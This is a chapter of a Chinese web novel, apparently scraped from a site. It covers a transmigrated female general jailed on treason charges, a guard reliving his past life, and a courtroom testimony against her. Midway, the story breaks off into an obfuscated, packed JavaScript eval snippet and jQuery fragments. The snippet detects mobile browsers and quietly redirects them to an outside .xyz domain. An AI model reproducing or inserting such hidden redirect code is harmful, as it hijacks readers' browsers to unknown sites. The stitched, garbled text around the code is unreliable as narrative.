21. 第一次坐大牢
作品:《穿越女将军就想去种田》 杨鸣脱离队伍之后,回京的速度比贺之桓快,在贺之桓刚到城门的时候他已经见到了皇帝。
“十三,你回来了?”
“是,陛下!”
这些日子在外跟着贺之桓,突然回宫竟然感觉有些陌生了。
李承右手执毛笔,在宣纸上写下“静心”二字,自始至终没有给杨鸣一个眼神,“我看你出去这些日子寄回来的信都说贺之桓没有什么出格的举动,是吗?”
“据属下所见,确实没有。”
“那我怎么听说贺之桓企图勾结簌扼族要反叛呢?”
“属下一直跟随贺将军,从未见其与簌扼族有过过密交往。”
“是吗?刑部王大人可不是这么说的。”李承欣赏完自己写的字,把毛笔放下,绕过书案走到了杨鸣面前。一双金线龙纹鞋就这样出现在了跪在地上的杨鸣面前。
“属下直观将自己亲眼所见如实禀告陛下,其它便不知了。”杨鸣没有抬头,此时的他心中已是惊涛骇浪。
李承所说的刑部王大人,也是前世第一个指出贺之桓要谋反的人,只是现在时间根本对不上,按照上一世的发展状况,在贺之桓战胜簌扼族之后回到京中,自己才被李承派去监视她的一举一动,假意被贺之桓救下被收入贺家军,实则是李承做的一个局,目的就是把他这颗钉子埋入贺之桓身边。
为什么之前没有动作?因为在打败簌扼族回来之前,贺家军里面是没有男人的,要把杨鸣安排进去太难,也太过招摇,但是战胜归来的贺家军中多了几个男人......对了!就是贺之桓说的那五个做饭手艺特别好的厨子,怪不得他觉得那几个人面熟,原来前世就见过,只不过自己没有被安排过去与他们共事过,只在某次贺之桓说饭做的太难吃不像他们水平的时候打过照面。
这样看来,今世的状况其实与前世并没有太大的改变,可是这谋反一事怎么就提前了这么多?难道是自己的原因?还是贺之桓身边有了其它什么不同了。
皇帝的问话给他带来了诸多疑问,但是他作为下人自然是不可能去质问皇帝他说的话背后得含义,只能一个人去琢磨。
如今贺之桓被囚于刑部大牢等待查明真相后进行处理,他暂时也没有了继续监视贺之桓的任务,当天就回到了锦衣卫的队列之中,只是吹着夜晚的风,仍然没能吹走自己心中的疑虑。
贺之桓身边现在与当初自己进贺家军之时到底哪里有不同呢?
木蓉,当初她也在,齐诗,自己也有印象,五个厨子应该也是没有变的,那唯一变得——难道是月可?
月可这人,从一开始见到她的时候杨鸣便觉得极其陌生,自己前世在贺家军也待了不少时日,一个与木蓉职位相当的人自己怎么可能没有一丁点印象呢?
可是就算当年月可死了,那么这次要给贺之桓扣谋反帽子的那个人很可能就是她!
想到这里他精神一振,打算立刻去找贺之桓把事情说明,起身的动作一滞,自己为什么要帮她?贺之桓不论谋反与否,此刻她已经在大牢里了,不会再出现前世兵临城下的情况了,也不需要自己去给她那一刀,她就算就这样死了也跟自己无关不是吗?
可是心中有个声音,一直在让他查明真相。
真相是什么真的重要吗?
真的重要吗?
前世的记忆再次闪回到眼前,如果这次贺之桓谋反的罪名定下来,那么自己的亲人就不会死于那场战争了,那场战争因何而起?是海上来的倭寇侵占了沿海的村落,那是他出生的地方。
杨鸣出生在东海岸的一个小渔村里面,这里世代都以捕鱼为生,村里的房子连屋顶都是用海草做的,每次出海捕捞回来的鱼总能卖个好价钱,这是杨鸣最喜欢的日子,可以吃香喷喷的米饭,还有换来的蔬菜。
只是海上天气变幻莫测,父母在一次出海捕鱼的时候卷进了旋涡当中丧生,自己也寄住在了伯伯家里。
伯伯和伯母对他很好,只是家里孩子太多了,能分给他的吃的就少了。原本日子还是可以过下去的,但是有一天伯母不知道得了什么病极其危急,需要很多钱,正巧村里来了个人牙子,见杨鸣长得还可以要买下他,伯伯不愿意,但是杨鸣知道自己应该懂事,便把自己卖了。
后来听说卖自己的二十两银子都给了伯伯,伯母得病也治好了,他这才放下心了,心中想着等自己长大了,多干些活攒了钱把自己赎出去,一定要回去再见伯伯一家,还生活在一起。
人牙子带着他几经辗转,倒了三手之后他竟然进了宫,这是他怎么都没想到的。
在宫中他遇见了把他从一众小孩中间挑选出来培养成暗卫的师父康仪,也算躲过变成太监这一劫。
只是前世还没等自己回去见到伯伯一家,倭寇就上了岸,贺之桓被派去击退倭寇却把战场引到了他出生的那个渔村,战事过后已经再无人烟,成为了废墟。
也是因此他对痛恨贺之桓的无情,为了借用地势之便把敌人引去了渔村,不顾村中百户人的安危,即便是在贺家军中待了数年,也仍然在城下挥出了那一刀。
说没有恨是假的,可是没有悔也是假的。
如今重来一世,或许可以改变结局了呢?这一世伯伯一家现在还在渔村过着快活的日子吧?今天说不定是个丰收夜呢。
杨鸣没有去见贺之桓,他决定自己把事情搞个明白。
——
刑部大牢。
在马车上李云峰还跟她聊得好好的,有吃有喝,结果一到地方她就直接被搜了身,扒了外衣,倒是没穿囚服,李云峰说还没定罪先不给她穿,让她别着急,气了贺之桓一个倒仰。
去自己那一间牢房的时候路过了刑讯室,大概是为了震慑犯人特意设在这里,一点也不加掩饰,刑具上泛着红光,像是没有清理掉的血肉。
贺之桓哪见过这个场景,战场上杀人还不过头点地呢,现在这状况,自己要真被查出点什么事,怕是要凌迟处死了。
“贺将军?贺将军?您的单间到了。”李云峰笑着把贺之桓请进牢房,那原本看起来格外真诚的笑容,现在看来则是笑里藏刀,刀刀割人命。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15608812|170567||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
贺之桓回过神来已经站在了自己的单间里面,李云峰走的时候还贴心的给她落了一把大锁,摆放的立立正正的。
牢房里面的环境差极了,即便是单间,也不像是现代理解的那种单独的房间,而是一个隔间里面只关一个人,三面还是通透的,有风吹进来能从最头上吹到牢房最深处,把每个犯人都抚摸一遍。
空气中是什么腐烂的味道,难闻极了,地上甚至浮着一层水渍,外面即便太阳正盛,里面也是湿湿冷冷的,地上铺着的是稻草,电视剧上说是为了给犯人保温,防止冻死,在稻草上睡了一夜的贺之桓表示,这都是骗人的,根本没用!
刑部的动作非常快,第三天的时候就召开了第一次当堂对证,贺之桓也有幸被“请”倒了现场。
只是这次她看到了一个怎么都不会到想到的人——月可。
“月可,你怎么在这里?”贺之桓惊呼出声,还以为她也被牵连了。
“肃静!”李云峰坐在上座,穿着官服,惊堂木一拍,威慑力十足。
“月可,说出你的证词。”
“是。”月可没有穿贺家军的制服,一身便服跪在堂下,与被两官差压着跪在地上的贺之桓形成了鲜明的对比。
“李大人,贺将军在远邬城与簌扼族交战的时候曾经多次故意失手。”
贺之桓:我哪里是故意的,我是真没本事。
“详细说来。”李云峰挥手示意一旁的小吏记录月可的证词。
“一开始贺将军献计带着贺将军去石山埋伏焱詹,然而这一战贺家军受创,与卢将军联合的情况下仍然放走了焱詹。”
“等一下,不是我放走的啊,他自己使计跑掉的啊。”
“其他人不许插嘴!”把贺之桓的话堵了回去。
月可没有看贺之桓,继续说道,“之后与簌扼族正面对战是卢将军的手下吴宁武将军做的主将,贺将军则是侧边辅助吴宁将军,导致戍边军损失更多兵丁。”
贺之桓:你信不信我上会死更多人?可是她不能说,只能在心里咆哮。
“之后我看到簌扼族城中心有响声响起,然后贺将军就知道簌扼族族长死了,我就怀疑她是提前勾结了簌扼族内部的人,为了让我们进城之后再一网打尽,只是后来簌扼族族长真死了,导致他们族内大乱,打乱了他们勾结的计划,簌扼族不得不俯首称臣。”
月可一段话下来让贺之桓刮目相看,简直,太能编了。要不是自己亲身经历过说不定就信了!
“可是后来贺之桓带着簌扼族三王子焱詹回京当做质子是怎么回事?”
“这个在下就不太清楚了,或许是还有其他的计划吧。”
贺之桓:没得可编了吧?然后翻了个大白眼。
“贺之桓,你有什么话要说?”李云峰问向贺之桓,小吏赶忙换了一张纸准备开始记贺之桓的证词。
“她说的事情都是真实发生的,可是我的意图并非如此。”
“哦?看来你承认发生了这些事了?”
“你先别急等我慢慢说。”